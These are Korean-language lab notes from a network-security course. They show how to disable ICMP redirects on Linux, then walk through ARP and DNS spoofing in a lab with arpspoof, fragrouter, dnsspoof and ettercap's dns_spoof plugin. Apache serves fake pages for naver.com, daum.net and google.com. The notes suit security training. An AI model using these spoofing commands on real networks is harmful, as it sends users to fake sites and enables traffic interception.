실습> Linux에서 ICMP Redirect 비활성화
1. ICMP Redirect 확인
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/all/accept_redirects
1
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/default/accept_redirects
1
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/ens33/accept_redirects
1
2. ICMP Redirect 비활성화
일시적으로 변경하는 방법
[root@victim3 ~]# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
[root@victim3 ~]# sysctl net.ipv4.conf.default.accept_redirects=0
[root@victim3 ~]# sysctl net.ipv4.conf.ens33.accept_redirects=0
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/all/accept_redirects
0
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/default/accept_redirects
0
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/ens33/accept_redirects
0
[root@victim3 ~]# sysctl net.ipv4.conf.all.accept_redirects
net.ipv4.conf.all.accept_redirects = 1
3. ICMP Redirect 비활성화
영구적으로 변경하는 방법
첫 번째 방법
/etc/sysctl.conf 파일에 커널 파라미터를 설정한다.
[root@victim3 ~]# vi /etc/sysctl.conf
net.ipv4.conf.all.accept_redirects=0
net.ipv4.conf.default.accept_redirects=0
net.ipv4.conf.ens33.accept_redirects=0
#net.ipv4.conf.all.accept_redirects = 0
#net.ipv4.conf.default.accept_redirects = 0
#net.ipv4.conf.ens33.accept_redirects = 0
/etc/sysctl.conf 를 적용시킨다.
[root@victim3 ~]# sysctl -p
두 번째 방법
/etc/rc.d/rc.local 파일에 명령어를 저장한다.
/etc/rc.d/rc.local 이 부팅 후에 마지막에 실행하는 스크립트이므로 이 안에
3개의 명령어를 넣어주면 된다. (추천하지 않음)
sysctl net.ipv4.conf.all.accept_redirects=0
sysctl net.ipv4.conf.default.accept_redirects=0
sysctl net.ipv4.conf.ens33.accept_redirects=0
실습> DNS Spoofing 1
1. 웹서버 실행
[root@kali ~]# systemctl start apache2
[root@kali ~]# echo naver.com > /var/www/html/index.html
2. 웹페이지 접속
Victim XP에서 접속한다.
http://200.200.200.3/
naver.com
3. arp spoofing 공격
[root@kali ~]# arpspoof2.py 4 2
>>> arp spoofing 공격 실행중 !!! <<<
arpspoof -t 200.200.200.4 200.200.200.2 > /dev/null 2>&1 &
arpspoof -t 200.200.200.2 200.200.200.4 > /dev/null 2>&1 &
fragrouter -B1 > /dev/null 2>&1
4. arp 확인
C:\>ping 8.8.8.8
C:\>arp -a
Interface: 200.200.200.4 --- 0x20002
Internet Address Physical Address Type
200.200.200.1 00-50-56-c0-00-08 dynamic
200.200.200.2 00-0c-29-28-37-34 dynamic <-- 변조된 MAC 주소
200.200.200.3 00-0c-29-28-37-34 dynamic
4. dns spoofing 공격
[root@kali ~]# cat << EOF > dns.txt
200.200.200.3 naver.com
200.200.200.3 www.naver.com
EOF
[root@kali ~]# cat dns.txt
200.200.200.3 naver.com
200.200.200.3 www.naver.com
[root@kali ~]# dnsspoof -f dns.txt
dnsspoof: listening on eth0 [udp dst port 53 and not src 200.200.200.3]
5. 네이버 접속
cmd에서 DNS Cache를 삭제하고 네이버로 접속한다.
C:\>ipconfig /flushdns
브라우저를 열어서 http://naver.com 으로 접속한다.
잘 안되면 Ethercap으로 실시한다.
실습> DNS Spoofing 2
그래픽 모드 & 텍스트 모드
ettercap: 스니핑을 위한 공격 툴(arpspoofing을 사용할 수 있다.)
그래픽 모드로 사용하는 방법
1. ettercap 실행
검색에서 ettercap을 찾아서 실행한다.
나중에 다시 확인!!!
텍스트 모드로 사용하는 방법
1. DNS spoofing 설정
변조할 DNS를 가짜로 자기 자신으로 올 수 있도록 공격자 IP주소로 설정한다.
[root@kali ~]# cd /etc/ettercap/
[root@kali ettercap]# vi etter.dns
:
naver.com A 200.200.200.3
*.naver.com A 200.200.200.3
daum.net A 200.200.200.3
*.daum.net A 200.200.200.3
google.com A 200.200.200.3
*.google.com A 200.200.200.3
2. ettercap 실행
-T: text모드
-q: quite로 조용히
-M: MITM 공격
arp:remote -P dns_spoof : dns spoofing plugin
/200.200.200.2/200.200.200.4/ : /Gateway주소/공격대상/
MITM
[Victim1]----------[Attacker]----------[Gateway]
[root@kali ~]# ettercap -Tq -M arp:remote -P dns_spoof /200.200.200.2/200.200.200.4/
:
GROUP 1 : 200.200.200.2 00:50:56:EF:DF:9F
GROUP 1 : 200.200.200.4 00:0C:29:0E:30:1E
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Activating dns_spoof plugin...
h 를 누르면 사용할 수 있는 메뉴가 있다.
h
Inline help:
[vV] - change the visualization mode
[pP] - activate a plugin
[fF] - (de)activate a filter
[lL] - print the hosts list
[oO] - print the profiles list
[cC] - print the connections list
[rR] - adjust SSL intercept rules
[sS] - print interfaces statistics
[<space>] - stop/cont printing packets
[qQ] - quit
l
Hosts list:
1) 200.200.200.1 00:50:56:C0:00:08
2) 200.200.200.2 00:50:56:FA:09:53
3) 200.200.200.4 00:0C:29:0E:30:1E
4) 200.200.200.6 00:0C:29:3D:BF:69
5) 200.200.200.254 00:50:56:E9:3D:4E
3. ARP 확인
ARP 캐쉬 테이블을 확인한다.
C:\>arp -d 200.200.200.2
C:\>ping 8.8.8.8
C:\>arp -a
Interface: 200.200.200.4 --- 0x2
Internet Address Physical Address Type
200.200.200.1 00-0c-29-28-37-34 dynamic
200.200.200.2 00-0c-29-28-37-34 dynamic <-- 변조된 ARP
200.200.200.6 00-0c-29-28-37-34 dynamic <-- Attacker
200.200.200.254 00-0c-29-28-37-34 dynamic
4. tracert 확인
tracert로 확인해보면 공격자가 보이지 않는다.
이유는 커널 포워딩이 아니고 소프트웨어 포워딩이기 때문이다.
C:\>tracert -d 8.8.8.8
Tracing route to 8.8.8.8 over a maximum of 30 hops
1 19 ms 19 ms 12 ms 200.200.200.2
2 15 ms 15 ms 15 ms 192.168.20.1
3 20 ms 15 ms ^C
공격자는 커널 포워딩이 아님을 알 수 있다.
[root@kali ~]# cat /proc/sys/net/ipv4/ip_forward
공격자는 커널 포워딩이 아님을 알 수 있다.
[root@kali ~]# cat /proc/sys/net/ipv4/ip_forward
0
5. 가상호스트 설정
[root@kali ~]# vi /etc/apache2/sites-available/000-default.conf
:
:(생략)
# daum.net
<VirtualHost *:80>
ServerName daum.net
ServerAlias *.daum.net
DocumentRoot /var/www/html/daum
</VirtualHost>
# naver.com
<VirtualHost *:80>
ServerName naver.com
ServerAlias *.naver.com
DocumentRoot /var/www/html/naver
</VirtualHost>
# google.com
<VirtualHost *:80>
ServerName google.com
ServerAlias *.google.com
DocumentRoot /var/www/html/google
</VirtualHost>
[root@kali ~]# mkdir /var/www/html/{daum,naver,google}
[root@kali ~]# echo Welcome to daum.net. > /var/www/html/daum/index.html
[root@kali ~]# echo Welcome to naver.com. > /var/www/html/naver/index.html
[root@kali ~]# echo Welcome to google.com. > /var/www/html/google/index.html
[root@kali ~]# systemctl restart apache2
[root@kali ~]# netstat -nltp|grep 80
tcp6 0 0 :::80 :::* LISTEN 13012/apache2
6. 도메인 접속
Victim1(Windows XP)에서 DNS Cache를 한번 삭제한 후 도메인으로 접속한다.
C:\>ipconfig/flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
브라우저를 열고 아래 도메인으로 접속해서 가짜 페이지가 나오면 성공이다.
http://daum.net
Welcome to daum.net.
http://naver.com
Welcome to naver.com.
http://google.com
Welcome to google.com.
실습> github
https://github.com/mustafadalga/dns-spoof
[root@kali ~]# git clone https://github.com/mustafadalga/dns-spoof.git
Cloning into 'dns-spoof'...
remote: Enumerating objects: 20, done.
remote: Total 20 (delta 0), reused 0 (delta 0), pack-reused 20
Receiving objects: 100% (20/20), 18.53 KiB | 2.06 MiB/s, done.
Resolving deltas: 100% (6/6), done.
[root@kali ~]# cd dns-spoof/
[root@kali dns-spoof]# ls
dns_spoof.py LICENSE README.md requirements.txt
DHCP
C S
DHCP Discover(Broadcast)
---------------------> 네트워크 정보를 받기 위해서 동일 네트워크에 DHCP 서버를 찾는 패킷
DHCP Offer (Broadcast or Unicast)
<--------------------- Discover 패킷을 받은 DHCP 서버가 호스트에게 네트워크 정보에 대해 제안을 요청하는 패킷
DHCP Request (Broadcast or Unicast)
----------------------> Offer 패킷으로 전달된 네트워크 정보 이용 시 해당 정보에 대한 사용 요청을 보내는 패킷
DHCP Acknowledgement (Broadcast or Unicast)
<--------------------- 서버에서 확인했음을 알려주는 패킷